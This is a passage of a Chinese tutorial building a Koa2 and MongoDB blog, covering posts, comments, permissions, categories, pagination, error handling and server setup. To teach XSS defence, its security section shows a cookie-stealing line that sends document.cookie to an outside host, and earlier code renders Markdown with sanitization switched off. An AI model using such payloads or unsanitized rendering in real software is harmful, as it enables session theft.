      default: Date.now()
    },
    updatedAt: {
      type: Date,
      default: Date.now()
    }
  }
})

PostSchema.pre('save', function (next) {
  if (this.isNew) {
    this.meta.createdAt = this.meta.updatedAt = Date.now()
  } else {
    this.meta.updatedAt = Date.now()
  }
  next()
})

module.exports = mongoose.model('Post', PostSchema)

这个文章模型,有作者、标题、内容、pv、创建时间、修改时间等。当然还应该有分类,额,我们之后再加。

上面我们用到了pre() 前置钩子来更新文章修改时间。

文章发表

先来实现创建文章的功能。新建个创建文章页views/create.html

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cQmE1Dlz-1654395336699)(./images/create.png)]

{% extends 'views/base.html' %}
{% block body %}
{% block script %} {% endblock %} {% endblock %}

这儿我们实现了一个最简陋的Markdown编辑器*(函数去抖都懒得加)*

Markdown: Basics (快速入门)

新建控制器routes/posts.js,并把create方法挂到路由

module.exports = {
    async create (ctx, next) {
        await ctx.render('create', {
            title: '新建文章'
        })
    }
}

访问http://localhost:3000/posts/new 试试。

接下来,我们在routes/posts.js 引入文章Model

const PostModel = require('../models/post')

修改create 方法,在GET时显示页面,POST时接收表单数据并操作数据库

...
async create (ctx, next) {
    if (ctx.method === 'GET') {
      await ctx.render('create', {
        title: '新建文章'
      })
      return
    }
    const post = Object.assign(ctx.request.body, {
      author: ctx.session.user._id
    })
    const res = await PostModel.create(post)
    ctx.flash = { success: '发表文章成功' }
    ctx.redirect(`/posts/${res._id}`)
}
...

发表一篇文章试试!到数据库看看刚刚新建的这条数据。注意:这儿我们并没有做任何校验

文章列表与详情

上面,在发表文章后将跳转到文章详情页,但是先什么都没有,现在就来实现它,在posts.js 新建show方法用来显示文章

async show (ctx, next) {
    const post = await PostModel.findById(ctx.params.id)
      .populate({ path: 'author', select: 'name' })
    await ctx.render('post', {
      title: post.title,
      post,
      comments
    })
}

这儿用到了populate 方法,MongoDB是非关联数据库,它没有关系型数据库joins特性,但是有时候我们还是想引用其它的文档,为了决这个问题,Mongoose封装了一个Population功能。使用Population可以实现在一个 document 中填充其他 collection(s)document(s)

文章详情模板

{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}

{{post.title}}

作者:{{post.author.name}} {% if post.author.toString() == ctx.session.user._id %} {% endif %}
{{marked(post.content) | safe}}
{% endblock %}

在模板里我们用到marked,我们需要将marked挂到ctx.state上

...
const marked = require('marked')
...
marked.setOptions({
  renderer: new marked.Renderer(),
  gfm: true,
  tables: true,
  breaks: false,
  pedantic: false,
  sanitize: false,
  smartLists: true,
  smartypants: false
})

...
app.use(async (ctx, next) => {
  ctx.state.ctx = ctx
  ctx.state.marked = marked
  await next()
})
...

接下来实现文章列表页

const PostModel = require('../models/post')

module.exports = {
  async index (ctx, next) {
    const posts = await PostModel.find({})
    await ctx.render('index', {
      title: 'JS之禅',
      desc: '欢迎关注公众号 JavaScript之禅',
      posts
    })
  }
}

修改我们的主页模板

{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}

JS之禅

起于JS,而不止于JS

{% for post in posts %} {% endfor %}
{% endblock %}

现在访问下http://localhost:3000 你将看到文章列表,点击文章将打开文章详情页

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QZfDUR3n-1654395336700)(./images/index.png)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RE1QIofy-1654395336701)(./images/show.png)]

##文章编辑与删除

现在来实现文章的编辑修改,在posts.js 新建edit方法

async edit (ctx, next) {
    if (ctx.method === 'GET') {
      const post = await PostModel.findById(ctx.params.id)
      if (!post) {
        throw new Error('文章不存在')
      }
      if (post.author.toString() !== ctx.session.user._id.toString()) {
        throw new Error('没有权限')
      }
      await ctx.render('edit', {
        title: '更新文章',
        post
      })
      return
    }
    const { title, content } = ctx.request.body
    await PostModel.findByIdAndUpdate(ctx.params.id, {
      title,
      content
    })
    ctx.flash = { success: '更新文章成功' }
    ctx.redirect(`/posts/${ctx.params.id}`)
}
  

edit.htmlcreate.html 基本一致。不过有了文章的数据

{% extends 'views/base.html' %}
{% block body %}
{% block script %} {% endblock %} {% endblock %}

删除功能很简单,找到文章、判断用户是否有权限删除,然后删除即可

// routes/posts.js
async destroy (ctx, next) {
    const post = await PostModel.findById(ctx.params.id)
    if (!post) {
        throw new Error('文章不存在')
    }
    console.log(post.author, ctx.session.user._id)
    if (post.author.toString() !== ctx.session.user._id.toString()) {
        throw new Error('没有权限')
    }
    await PostModel.findByIdAndRemove(ctx.params.id)
    ctx.flash = { success: '删除文章成功' }
    ctx.redirect('/')
}

动手试试,并思考思考还有那些问题?

3.7用户权限控制

前面的章节我们已经实现了用户登录注册,文章的管理。但是有个重要问题我们还没解决。那就是权限管理。正常情况下,我们没有登录的话只能浏览,登陆后才能发帖或写文章,而且一些功能*(如下一节将实现的分类管理)*只有管理员才能操作。

登录状态检查

在用户登录注册那一节,已经说了本项目通过session来记录用户状态。那么现在就来做用户的权限控制。你一定能想到:我们只需要在对应的控制器里面判断session中是否存在user。如:

// routes/about.js
module.exports = {
  async index (ctx, next) {
    // 判断session.user
    if (!ctx.session.user) {
      ctx.flash = { warning: '未登录, 请先登录' }
      return ctx.redirect('/signin')
    }
    ctx.body = 'about'
  }
}

但是每个控制器里都写这么一点判断太麻烦了。我们可以将它写成一个中间件,然后在对应的路由上直接使用即可。

// routes/index.js
const router = require('koa-router')()

// 判断是否登录的中间件
async function isLoginUser (ctx, next) {
  if (!ctx.session.user) {
    ctx.flash = { warning: '未登录, 请先登录' }
    return ctx.redirect('/signin')
  }
  await next()
}

module.exports = (app) => {
  router.get('/', require('./home').index)
  ...
  router.get('/posts/new', isLoginUser, require('./posts').create)
  router.post('/posts/new', isLoginUser, require('./posts').create)
  ..

  app
    .use(router.routes())
    .use(router.allowedMethods())
}

现在就给需要用户登录的功能加上这个登录控制中间件试试。

管理权限控制

前面我们队用户登录状态做了判断,现在我们再来写一个控制管理员权限的方法。

async function isAdmin (ctx, next) {
  console.log(ctx.session)
  if (!ctx.session.user) {
    ctx.flash = { warning: '未登录, 请先登录' }
    return ctx.redirect('/signin')
  }
  if (!ctx.session.user.isAdmin) {
    ctx.flash = { warning: '没有权限' }
    return ctx.redirect('back')
  }
  await next()
}

它先判断用户是否登录,在判断当然用户是不是管理员isAdmin: true。接下来就可以像使用isLoginUser一样使用了

3.8评论功能

评论功能主要有:

发表评论 POST /comments/new

删除评论 GET /comments/:id/delete

router.post('/comments/new', isLoginUser, require('./comments').create)
router.get('/comments/:id/delete', isLoginUser, require('./comments').destroy)

设计评论的模型

// models/comment.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema

const CommentSchema = new Schema({
  postId: {
    type: Schema.Types.ObjectId,
    ref: 'Post'
  },
  from: {
    type: Schema.Types.ObjectId,
    ref: 'User',
    require: true
  },
  to: {
    type: Schema.Types.ObjectId,
    ref: 'User'
  },
  content: {
    type: String,
    required: true
  },
  meta: {
    createAt: {
      type: Date,
      default: Date.now()
    }
  }
})

module.exports = mongoose.model('Comment', CommentSchema)

postId 代表评论对应的文章ID,from 代表发表评论者,to 代表需要艾特的人*(本文暂不实现该功能)*,content为内容

发布留言

先来写一个发表评论的表单。同时将它引入到post.html

// components/comments.html
<form action="/comments/new" method="POST" class="media">
    <div class="media-content">
        <div class="field">
            <input type="hidden" name="postId" value="{{post._id}}">
            <p class="control">
                <textarea name="content" class="textarea" placeholder="发表评论…">textarea>
            p>
        div>
        <button class="button is-info is-pulled-right">Submitbutton>
    div>
form>

注意,这儿加了个隐藏域来存放postId

编写留言控制器routes/comments.js

const CommentModel = require('../models/comment')

module.exports = {
  async create (ctx, next) {
    const comment = Object.assign(ctx.request.body, {
      from: ctx.session.user._id
    })
    await CommentModel.create(comment)
    ctx.flash = { success: '留言成功' }
    ctx.redirect('back')
  }
}

显示留言

更改components/comments.html 添加一个留言列表

<form action="/comments/new" method="POST" class="media">
    <div class="media-content">
        <div class="field">
            <input type="hidden" name="postId" value="{{post._id}}">
            <p class="control">
                <textarea name="content" class="textarea" placeholder="发表评论…">textarea>
            p>
        div>
        <button class="button is-info is-pulled-right">Submitbutton>
    div>
form>
{% for comment in comments %}
<article class="media comment">
    <figure class="media-left">
        <p class="image is-24x24">
            <img src="https://bulma.io/images/placeholders/128x128.png">
        p>
    figure>
    <div class="media-content">
        <div class="content">
            <p>
                <strong>{{comment.from.name}}strong>
                <br>
                {{marked(comment.content) | safe}}
            p>
        div>
        <nav>
        nav>
    div>
    <div class="media-right is-invisible">
        <button id="reply" class="button is-small is-primary">回复button>
        <a href="/comments/{{comment._id}}/delete" class="button is-small">删除a>
    div>
article>
{% endfor %}

我们让评论也支持了markdown。

修改posts.js 控制器

...
const CommentModel = require('../models/comment')
...
async show (ctx, next) {
    const post = await PostModel.findById(ctx.params.id)
      .populate({ path: 'author', select: 'name' })
    // 查找评论
    const comments = await CommentModel.find({ postId: ctx.params.id })
      .populate({ path: 'from', select: 'name' })
    await ctx.render('post', {
      title: post.title,
      post,
      comments
    })
}

现在我们就完成了评论以及评论的展示。接下来实现删除功能

删除留言

  async destroy (ctx, next) {
    const comment = await CommentModel.findById(ctx.params.id)
    if (!comment) {
      throw new Error('留言不存在')
    }
    if (comment.from.toString() !== ctx.session.user._id.toString()) {
      throw new Error('没有权限')
    }
    await CommentModel.findByIdAndRemove(ctx.params.id)
    ctx.flash = { success: '成功删除留言' }
    ctx.redirect('back')
  }

3.9一些安全问题

Web 应用中存在很多安全风险,这些风险会被黑客利用,轻则篡改网页内容,重则窃取网站内部数据,更为严重的则是在网页中植入恶意代码,使得用户受到侵害。常见的安全漏洞如下:

  • XSS 攻击:对 Web 页面注入脚本,使用 JavaScript 窃取用户信息,诱导用户操作。
  • CSRF 攻击:伪造用户请求向网站发起恶意请求。
  • 钓鱼攻击:利用网站的跳转链接或者图片制造钓鱼陷阱。
  • HTTP参数污染:利用对参数格式验证的不完善,对服务器进行参数注入攻击。
  • 远程代码执行:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

本文主要讲述xss和csrf的攻击。当年cnode就被自动回复,弹窗搞得满天飞 哈哈哈。

XSS的防范

我们先来看看我们现在存在的问题,打来你编写的博客应用,在留言或者新建文章需要用户输入的时候直接输入


在新建文章页,你会发现,再输入的时候就会弹出弹窗,先别管。将它发布出去,接下来每次进入详细内容页你都能看见这个弹窗。我们应该对XSS过滤,把标签符号转为实体字符,同时过滤掉非法脚本。在这个项目中我们使用了marked这个库来转换markdown语法,我们只需要开启即可

marked.setOptions({
...
 - sanitize: false
 + sanitize: true
...
})

XSS(cross-site scripting,因为已经有个CSS了,所以它叫了XSS)跨域脚本攻击攻击是最常见的 Web 攻击,攻击者利用这种漏洞在网站上注入恶意的客户端代码。其重点是『跨域』和『客户端执行』。

XSS 攻击一般分为两类:

  • Reflected XSS(反射型的 XSS 攻击)
  • Stored XSS(存储型的 XSS 攻击)

Reflected XSS

反射型的 XSS 攻击,主要是由于服务端接收到客户端的不安全输入,在客户端触发执行从而发起 Web 攻击。发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码。例如:

在某购物网站搜索物品,搜索结果会显示搜索的关键词。搜索关键词填入, 点击搜索。页面没有对关键词进行过滤,这段代码就会直接在页面上执行,弹出 alert。

Stored XSS

基于存储的 XSS 攻击,是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的,很容易插入危险代码。存储型XSS和反射型的XSS差别就在于,存储型的XSS提交的代码会存储在服务器端

CSRF 的防范

CSRF(Cross-site request forgery)跨站请求伪造,也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。 CSRF 攻击会对网站发起恶意伪造的请求,严重影响网站的安全。

通常来说,对于 CSRF 攻击有一些通用的防范方案,简单的介绍几种常用的防范方案:

  • Synchronizer Tokens:通过响应页面时将 token 渲染到页面上,在 form 表单提交的时候通过隐藏域提交上来。
  • Double Cookie Defense:将 token 设置在 Cookie 中,在提交 post 请求的时候提交 Cookie,并通过 header 或者 body 带上 Cookie 中的 token,服务端进行对比校验。
  • Custom Header:信任带有特定的 header(例如 X-Requested-With: XMLHttpRequest)的请求。这个方案可以被绕过,所以 rails 和 django 等框架都放弃了该防范方式

在前面我们只是alert('xss') ,如果将可执行脚本改为

location.href='http://www.xss.com?cookie='+document.cookie;

那我们将可以获取到用户的cookie,可以以这个用户的身份登录成功。koa cookie默认设置为httpOnly,这样能有效的防止XSS攻击。

CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

3.10文章分类管理

前面我们完成了基本的文章增删改查,这节我们来实现文章分类管理

新建分类 GET category/new POST category/new

分类列表 GET /category

删除文章 GET /category/:id/detele

对于分类管理来说,需要管理员才可以操作。即 UserModel isAdmin: true (直接手动在数据库中更改某个user的isAdmin字段为true即可 )

分类模型设计

和之前一样,还是先来设计模型,我们只需要 title:分类名如”前端“,name:用来在url中简洁的显示如"frontend",desc:分类的描述。当然你只要个 title 字段也是可以的

// models/category.js
const mongoose = require('mongoose')
const Schema = mongoose.Schema

const CategorySchema = new Schema({
  name: {
    type: String,
    required: true
  },
  title: {
    type: String,
    required: true
  },
  desc: {
    type: String
  },
  meta: {
    createAt: {
      type: Date,
      default: Date.now()
    }
  }
})

module.exports = mongoose.model('Category', CategorySchema)

修改下models/posts.js 新增一个category字段

...
category: {
    type: Schema.Types.ObjectId,
    ref: 'Category'
}
...

分类管理主页

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ApiZWw4z-1654395486382)(./images/category.png)]

新建分类管理控制器 routes/category.js,增加一个list方法来展示渲染分类管理的主页

const CategoryModel = require('../models/category')

module.exports = {
  async list (ctx, next) {
    const categories = await CategoryModel.find({})
    await ctx.render('category', {
      title: '分类管理',
      categories
    })
  }
}

接着编写分类管理的前端界面 views/category.html

{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
新建分类 {% for category in categories %} {% endfor %}
name 分类名 操作
{{category.name}} {{category.title}} 删除
{% endblock %}

现在打开这个页面并没有分类,因为我们还没有添加分类,接下来实现新增分类功能

新增分类

在category控制器中新建一个create方法

// routes/category.js
async create (ctx, next) {
    if (ctx.method === 'GET') {
        await ctx.render('create_category', {
            title: '新建分类'
        })
        return
    }
    await CategoryModel.create(ctx.request.body)
    ctx.redirect('/category')
}

访问 http://localhost:3000/category/new 将返回create_category.html页面

{% extends 'views/base.html' %}
{% block body %}
{% include "views/components/header.html" %}
{% endblock %}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RNVU92ZF-1654395486384)(/Users/lx/workspace/abc-blog/docs/images/create_category.png)]

在接受到 post 请求时,将分类数据存入数据库

删除分类

删除的功能和删除文章、删除评论基本一样

  async destroy (ctx, next) {
    await CategoryModel.findByIdAndRemove(ctx.params.id)
    ctx.flash = { success: '删除分类成功' }
    ctx.redirect('/category')
  }

新建文章时指定分类

前面完成了分类管理,我们需要把文章指定分类,修改views/create.htmlviews/edit.html 增加一个分类选择框。

...
<div class="right-box">
    <div class="select is-small">
        <select name="category">
            <option disabled="disabled">分类option>
            {% for category in categories %}
            <option value={{category._id}}>{{category.title}}option>
            {% endfor %}
        select>
    div>
    <button type="submit" class="button is-small is-primary">发布button>
div>
...

同时修改routes/post.js 的create和edit方法,把分类信息传给模板

...
const categories = await CategoryModel.find({})
await ctx.render('create', {
    title: '新建文章',
    categories
})
...

新建一篇文章,看看数据库,多了一个 category 字段存着分类的id。

// routes/posts.js
async show (ctx, next) {
    const post = await PostModel.findById(ctx.params.id)
      .populate([
        { path: 'author', select: 'name' },
        { path: 'category', select: ['title', 'name'] }
    ])
    const comments = await CommentModel.find({ postId: ctx.params.id })
      .populate({ path: 'from', select: 'name' })
    await ctx.render('post', {
        title: post.title,
        post,
        comments
    })
},

修改下文章详情页来展示分类名

// views/posts.html
{{marked(post.content) | safe}}

{{post.category.title}}

权限控制

现在每一个用户登录上去都可以管理分类,我们只想要管理员可以管理。在前面的章节中已经实现了权限控制,只要在相应的路由上使用 isAdmin 即可

// routes/index.js
...
router.get('/category', isAdmin, require('./category').list)
router.get('/category/new', isAdmin, require('./category').create)
router.post('/category/new', isAdmin, require('./category').create)
router.get('/category/:id/delete', isAdmin, require('./category').destroy)

##展示分类文章

前面基本上已经实现了分类功能,现在来实现根据URL参数返回相应的分类文章如 /posts?c=nodejs 返回分类为Node.js 的文章

// routes/posts.js
async index (ctx, next) {
    const cname = ctx.query.c
    let cid
    if (cname) {
      const cateogry = await CategoryModel.findOne({ name: cname })
      cid = cateogry._id
    }
    const query = cid ? { category: cid } : {}
    const posts = await PostModel.find(query)
    await ctx.render('index', {
        title: 'JS之禅',
        posts
    }
}

修改 posts.js中的index 方法,通过 ctx.query 获取解析的查询字符串, 当没有查询字符串时,返回一个空对象。然后再去通过name去查出分类id,最后通过分类id去查询文章

3.11分页功能

随着内容的增加,我们的文章会越来越多,全部一次显示出来会增加数据查询耗时,同时不利用用户浏览。我们就需要分页功能。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OJpS4CF-1654395529402)(./images/pagination.png)]

在MongoDB 终端中运行如下代码新增 101个文章

for(var i = 0; i < 101; i++){
	db.posts.insert({
		title: 'test ' + i,
		content: 'test' + i,
		category: ObjectId("5b15f4f45aaaa85ea7bccf65"), 
        author : ObjectId("5b07648464ce83289036ea71")
	})
}

现在访问主页,将返回包含101个文章的列表。

MongoDB 实现分页原理

MongoDB实现分页主要有两种方式

  1. 通过skip与limit()方法 实现分页
  2. 获取前一页的最后一条记录,查询之后的指定条记录

本案例将通过第一种方式实现,修改下routes/posts.js 的index方法

const pageSize = 15
const currentPage = parseInt(ctx.query.page) || 1
const posts = await PostModel.find({}).skip((currentPage - 1) * pageSize).limit(pageSize)

我们通过 /posts?page=2 的方式来传页码。第二页就应该跳过前15 条记录再返回16到第30条内容。可以在浏览器中更改页码试试

实现一个基本的分页器

前面我们了解到分页的原来,现在来渲染分页器。新建一个分页器的组件components/pagination.html

// components/pagination.html
{%  if 1 < pageCount and pageCount >= currentPage  %}

{% else %}

没有更多了...

{% endif %}

在这分页器中,我们需要总页数,当前页。然后循环显示出每一页的页码

// routes/posts.js
module.exports = {
    async index (ctx, next) {
		const pageSize = 15
        const currentPage = parseInt(ctx.query.page) || 1
        const allPostsCount = await PostModel.count()
   		const pageCount = Math.ceil(allPostsCount / pageSize)
        const posts = await PostModel.find(query).skip((currentPage - 1) * pageSize).limit(pageSize)
        await ctx.render('index', {
            title: 'JS之禅',
            posts,
            currentPage,
            pageCount
        }

    }
}

通过count()方法获取到文章的总数,然后算出页数,再通过skip().limt() 来获取当页数据。现在一个基本的分页器就已经实现了。但是有个问题,如果页数特别多没页面上就会显示出很多也页码按钮不出来。

高级一点儿的分页器

现在来实现一个高级一点儿的分页器*(即文首的图片中的那样的分页器)*。根据当前页码显示出前后两页,其他显示为三个点。这个分页器的关键在于设置需要显示的起始页和结束页,即循环页码时不再从1开始到pageCount结束,而是从pageStart(起始页)到pageEnd(结束页)结束。我们根据当前页来计算起始和结束

// routes/posts.js#index
const pageStart = currentPage - 2 > 0 ? currentPage - 2 : 1
const pageEnd = pageStart + 4 >= pageCount ? pageCount : pageStart + 4
const baseUrl = ctx.path + '?page='
await ctx.render('index', {
    title: 'JS之禅',
    posts,
    currentPage,
    pageCount,
    pageStart,
    pageEnd,
    baseUrl
}

修改components/pagination.html 来渲染当前页及当前页的上下页

{%  if 1 < pageCount and pageCount >= currentPage  %}

{% else %}

没有更多了...

{% endif %}

因为我们还有分类功能,我们还应该让这个分页器在显示分页分类文章的时候也适用,http://localhost:3000/posts?c=nodejs&page=2

修改routes/posts.js的index.js

async index (ctx, next) {
    console.log(ctx.session.user)
    const pageSize = 5
    const currentPage = parseInt(ctx.query.page) || 1
    // 分类名
    const cname = ctx.query.c
    let cid
    if (cname) {
        // 查询分类id
        const cateogry = await CategoryModel.findOne({ name: cname })
        cid = cateogry._id
    }
    // 根据是否有分类来控制查询语句
    const query = cid ? { category: cid } : {}
    const allPostsCount = await PostModel.find(query).count()
    const pageCount = Math.ceil(allPostsCount / pageSize)
    const pageStart = currentPage - 2 > 0 ? currentPage - 2 : 1
    const pageEnd = pageStart + 4 >= pageCount ? pageCount : pageStart + 4
    const posts = await PostModel.find(query).skip((currentPage - 1) * pageSize).limit(pageSize)
    // 根据是否有分类来控制分页链接
    const baseUrl = cname ? `${ctx.path}?c=${cname}&page=` : `${ctx.path}?page=`
    await ctx.render('index', {
        title: 'JS之禅',
        posts,
        pageSize,
        currentPage,
        allPostsCount,
        pageCount,
        pageStart,
        pageEnd,
        baseUrl
    })
},

3.12koa2 错误处理及404

404 处理

现在我们访问一个不存在的路由http://localhost:3000/404 默认会返回

Not Found

通常我们需要自定义 404 页面,新建一个views/404.html

{% extends 'views/base.html' %}
{% block body %}
<div class="page-404 has-background-light has-text-centered">
    <pre>
          .----.
       _.'__    `.
   .--($)($$)---/#\
 .' @          /###\
 :         ,   #####
  `-..__.-' _.-\###/
        `;_:    `"'
      .'"""""`.
     /,  ya ,\\
    //  404!  \\
    `-._______.-'
    ___`. | .'___
   (______|______)
    pre>
    <p class="subtitle is-3">迷路了…p>
    <a href="javascript:history.back();" class="button is-primary">上一页a>
    <a href="/" class="button is-link">回主页a>
div>


{% endblock %}

修改 routes/index.js,在路由最后加上

// 404
app.use(async (ctx, next) => {
    await ctx.render('404', {
      title: 'page not find'
    })
})

现在随便访问一个未定义的路由如:http://localhost:3000/404 将出现如下页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFJdUcZf-1654395564646)(./images/404.png)]

错误处理

try catch

在koa2中,出现错误,会直接将错误栈打印到控制台。因为使用了async、await,可以方便的使用 try-catch 来处理错误,同时我们可以让最外层的中间件,负责所有中间件的错误处理。创建你自己的错误处理程序:

app.use(async (ctx, next) => {
  try {
    await next()
  } catch (err) {
    ctx.status = err.statusCode || err.status || 500;
    ctx.body = {
      message: err.message
    };
  }
})

注意:这个错误处理中间件应该放在最外层即中间件链的起始处。

我们也可以为它指定自定义错误页,新建一个你自己喜欢的error.html

修改 middlewares/error_handler.js

module.exports = function errorHandler () {
  return async (ctx, next) => {
    try {
      await next()
    } catch (err) {
      ctx.status = err.statusCode || err.status || 500
      await ctx.render('error', {
        title: ctx.status
      })
    }
  }
}

在index.js 引入并使用

const error = require('./middlewares/error_handler')
...
app.use(error())
...

现在在程序中随便抛出个错误试试

error 事件

运行过程中一旦出错,Koa 会触发一个error事件。监听这个事件,也可以处理错误

app.on('error', (err, ctx) =>
  console.error('server error', err)
)

需要注意的是,如果错误被try...catch捕获,就不会触发error事件。这时,必须调用ctx.app.emit(),手动释放error事件,才能让监听函数生效。修改下之前的错误处理中间件,在渲染自定义错误页后添加如下代码手动释放error 事件。这下控制台也能打印出错误详情

ctx.app.emit('error', err, ctx)

上线篇


4.1域名与服务器

IP与域名

在互联网中信息太多,我们需要一个资源地址来定位我们的网站。这儿我们就要提到IP了比如 “202.101.139.188” 的形式。它为每个连接在Internet上的主机分配的一个在全世界范围内唯一的32位地址。IP地址通常圆点(半角句号)分隔的4个十进制数字表示。

但是记IP地址也太麻烦了吧,因此在IP地址的基础上又发展出一种符号化的地址方案,来代替数字型的IP地址。每一个符号化的地址都与特定的IP地址对应,这样网络上的资源访问起来就容易得多了。这个与网络上的数字型IP地址相对应的字符型地址,就被称为域名。它同IP地址一样都是用来表示一个单位、机构或个人在网上的一个确定的名称或位置。所不同的是比IP地址较有亲和力,更容易被人们记记和乐于使用。

域名选购

在选取域名的时候,我们应该首选简短好记或是有一定意义的域名:纯英文、纯数字、拼音等。在哪儿注册域名:阿里云、腾讯云、新网以及国外的Name.com、Namecheap、Godaddy等等服务商都可以(如何选?哪家便宜选哪家)

这儿用阿里云做演示百度或者谷歌阿里云域名注册 打开万网*(阿里云域名服务前身是万网)* https://wanwang.aliyun.com/domain/ 在首页的大输入框输入你想要注册的域名,点击查域名即可。然后选好你中意的后缀,登录付款即可。

服务器选购

现在云计算平台太多腾讯云、阿里云、青云、XX云,国外大的亚马逊AWS、Microsoft Azure、小的DigitalOcean 、vultr。关于如何选择,优先选择大的服务商,优先选择国内的*(国内主机需备案)*。当然个人也可以直接买国外的vultr的玩玩,便宜、还可以搭建SS。

阿里云经常做活动,点击导航栏的最新活动进入到活动页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M3NNpT55-1654395606519)(./images/aliyun.png)]

可以看到各种活动,甚至还有免费套餐,你都可以看看。选择服务器操作系统时选择Ubuntu 16.04,如果只有14.04 可以选择就选择了之后在控制台更换系统即可 (当然你也可以自由选择你熟悉的Linux发行版本 如CentOS) 在购买时,应该会让你设置root 密码。

购买完成后进入到控制台,在你的服务器详情页看看你的Ubuntu版本是否是16.04,如果不是,停止这个服务器,点击更换系统盘即可*(更换时需要设置root密码)*

连接服务器

在mac上我们,我们直接在命令行中使用ssh命令连接

$ssh root@你的服务器IP 

之后会出现一段提示说无法确认host主机的真实性,只知道它的公钥指纹,问你还想继续连接吗?输入yes,然后就会要求你输入之前设置的root用户的密码

在Windows上使用xshell来连接服务器,百度搜索xshell 然后下载,安装时候根据提示安装就可以,选择Free 非商业用途。打开Xshell,打开时候会弹出新建链接的窗口,点击新建,根据提示输入服务器IP及端口

Node.js从入门到上线_第1张图片

点击【用户身份验证】,在这里输入你的用户名和密码。然后点击【确定】按钮开始链接。

Node.js从入门到上线_第2张图片

当然你也可以在xshell的终端直接使用ssh命令来连接主机,与Mac使用方法一样

域名解析

在我们选购号域名与服务器后(这儿以阿里云为例),进入【控制台】,找到【域名与网站(万网)】->【云解析DNS】选着对应的域名,设置解析,对于网站应用我们需要加上www和@的A记录,其记录值为你的服务器IP,现在阿里云有个新手引导,只需要填上记录值即你的服务器IP。如果你是买的阿里云的主机,访问域名,你将愉快的看见一个备案提示。进行备案即可。

你可能感兴趣的:(node.js,npm,ubuntu)